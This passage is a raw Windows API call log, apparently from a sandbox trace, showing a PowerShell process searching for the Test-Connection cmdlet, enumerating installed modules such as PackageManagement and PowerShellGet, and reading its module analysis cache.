GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\syswow64\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x5bdee84 | out: lpFileInformation=0x5bdee84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x123dcea, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x496a9b80, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496a9b80, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8000)) returned 1 [0154.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdebbc) returned 1 [0154.232] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdee7c) returned 1 [0154.232] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0154.232] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0154.232] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\Test-Connection.*", lpFindFileData=0x5bdec2c | out: lpFindFileData=0x5bdec2c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0154.233] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdebd4) returned 1 [0154.233] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdee34) returned 1 [0154.233] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0154.233] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0154.233] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdebc0) returned 1 [0154.233] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x5bdee84 | out: lpFileInformation=0x5bdee84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0154.233] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdebbc) returned 1 [0154.233] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdee7c) returned 1 [0154.233] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0154.233] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0154.233] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Test-Connection.*", lpFindFileData=0x5bdec2c | out: lpFindFileData=0x5bdec2c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0154.234] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdebd4) returned 1 [0154.234] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdee34) returned 1 [0154.237] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x5bded30, nSize=0xbe | out: lpBuffer="") returned 0xc6 [0154.237] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x5bded20, nSize=0xc6 | out: lpBuffer="") returned 0xc5 [0154.249] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0154.252] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdeeac) returned 1 [0154.252] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0154.253] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x2b, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x2a [0154.253] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x5bdec5c | out: lpFindFileData=0x5bdec5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5b67b8 [0154.254] FindNextFileW (in: hFindFile=0x5b67b8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.254] FindNextFileW (in: hFindFile=0x5b67b8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0154.254] FindNextFileW (in: hFindFile=0x5b67b8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0154.254] FindNextFileW (in: hFindFile=0x5b67b8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0154.254] FindClose (in: hFindFile=0x5b67b8 | out: hFindFile=0x5b67b8) returned 1 [0154.254] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdec1c) returned 1 [0154.254] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdee7c) returned 1 [0154.255] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0154.255] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0154.255] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0154.255] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0154.256] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0154.256] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0154.256] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0154.256] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0154.256] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdebfc) returned 1 [0154.256] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x5bdeec0 | out: lpFileInformation=0x5bdeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0154.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdebf8) returned 1 [0154.257] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0154.257] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0154.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdebfc) returned 1 [0154.257] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x5bdeec0 | out: lpFileInformation=0x5bdeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0154.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdebf8) returned 1 [0154.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdeeac) returned 1 [0154.257] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0154.257] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0154.257] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x5bdec5c | out: lpFindFileData=0x5bdec5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5b67b8 [0154.258] FindNextFileW (in: hFindFile=0x5b67b8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.258] FindNextFileW (in: hFindFile=0x5b67b8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49b46620, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49b46620, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0154.258] FindNextFileW (in: hFindFile=0x5b67b8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0154.258] FindClose (in: hFindFile=0x5b67b8 | out: hFindFile=0x5b67b8) returned 1 [0154.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdec1c) returned 1 [0154.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdee7c) returned 1 [0154.258] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0154.258] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0154.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdec00) returned 1 [0154.258] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5bdeec4 | out: lpFileInformation=0x5bdeec4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49b46620, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea9fba0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea9fba0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0154.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdebfc) returned 1 [0154.259] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0154.259] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0154.259] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0154.260] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0154.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdec24) returned 1 [0154.260] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x22ef984 | out: lpFileInformation=0x22ef984*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49b46620, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea9fba0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea9fba0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0154.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bdec20) returned 1 [0154.265] GetEnvironmentVariableW (in: lpName="PSModuleAnalysisCachePath", lpBuffer=0x5bdded4, nSize=0xc6 | out: lpBuffer="") returned 0x0 [0154.265] CoTaskMemAlloc (cb=0x20c) returned 0x62d028 [0154.265] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x62d028 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Local") returned 0x0 [0154.265] CoTaskMemFree (pv=0x62d028) [0154.265] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x21 [0154.265] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local", nBufferLength=0x21, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local", lpFilePart=0x0) returned 0x20 [0154.266] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache")) returned 0x2020 [0154.266] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0154.266] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x52, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x51 [0154.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bde678) returned 1 [0154.267] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c8 [0154.267] GetFileType (hFile=0x3c8) returned 0x1 [0154.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bde674) returned 1 [0154.267] GetFileType (hFile=0x3c8) returned 0x1 [0154.267] ReadFile (in: hFile=0x3c8, lpBuffer=0x22f0ad4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bde6ec, lpOverlapped=0x0 | out: lpBuffer=0x22f0ad4*, lpNumberOfBytesRead=0x5bde6ec*=0x1000, lpOverlapped=0x0) returned 1 [0154.276] ReadFile (in: hFile=0x3c8, lpBuffer=0x22f06b4, nNumberOfBytesToRead=0x6, lpNumberOfBytesRead=0x5bde6f4, lpOverlapped=0x0 | out: lpBuffer=0x22f06b4*, lpNumberOfBytesRead=0x5bde6f4*=0x6, lpOverlapped=0x0) returned 1 [0154.276] ReadFile (in: hFile=0x3c8, lpBuffer=0x22f0ad4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bde6f4, lpOverlapped=0x0 | out: lpBuffer=0x22f0ad4*, lpNumberOfBytesRead=0x5bde6f4*=0x1000, lpOverlapped=0x0) returned 1 [0154.277] ReadFile (in: hFile=0x3c8, lpBuffer=0x22f06ad, nNumberOfBytesToRead=0x3, lpNumberOfBytesRead=0x5bde6e0, lpOverlapped=0x0 | out: lpBuffer=0x22f06ad*, lpNumberOfBytesRead=0x5bde6e0*=0x3, lpOverlapped=0x0) returned 1 [0154.277] ReadFile (in: hFile=0x3c8, lpBuffer=0x22f0ad4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bde6f4, lpOverlapped=0x0 | out: lpBuffer=0x22f0ad4*, lpNumberOfBytesRead=0x5bde6f4*=0x1000, lpOverlapped=0x0) returned 1 [0154.277] ReadFile (in: hFile=0x3c8, lpBuffer=0x22f06b7, nNumberOfBytesToRead=0x5, lpNumberOfBytesRead=0x5bde6f4, lpOverlapped=0x0 | out: lpBuffer=0x22f06b7*, lpNumberOfBytesRead=0x5bde6f4*=0x5, lpOverlapped=0x0) returned 1 [0154.277] ReadFile (in: hFile=0x3c8, lpBuffer=0x22f0ad4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bde6f4, lpOverlapped=0x0 | out: lpBuffer=0x22f0ad4*, lpNumberOfBytesRead=0x5bde6f4*=0x5f8, lpOverlapped=0x0) returned 1 [0154.278] GetEnvironmentVariableW (in: lpName="PSDisableModuleAnalysisCacheCleanup", lpBuffer=0x5bde554, nSize=0xc6 | out: lpBuffer="") returned 0x0 [0154.285] CloseHandle (hObject=0x3c8) returned 1 [0154.286] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0154.286] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0154.287] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0154.287] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0154.287] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0154.288] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0154.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bdeeac) returned 1 [0154.288] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0154.288] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x62b578, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0154.288] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x5bdec5c | out: lpFindFileData=0x5bdec5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5b67f8 [0154.288] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.288] FindNextFileW (in: hFindFile=0x5b67f8, lpFindFileData=0x5bdec64 | out: lpFindFileData=0x5bdec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, 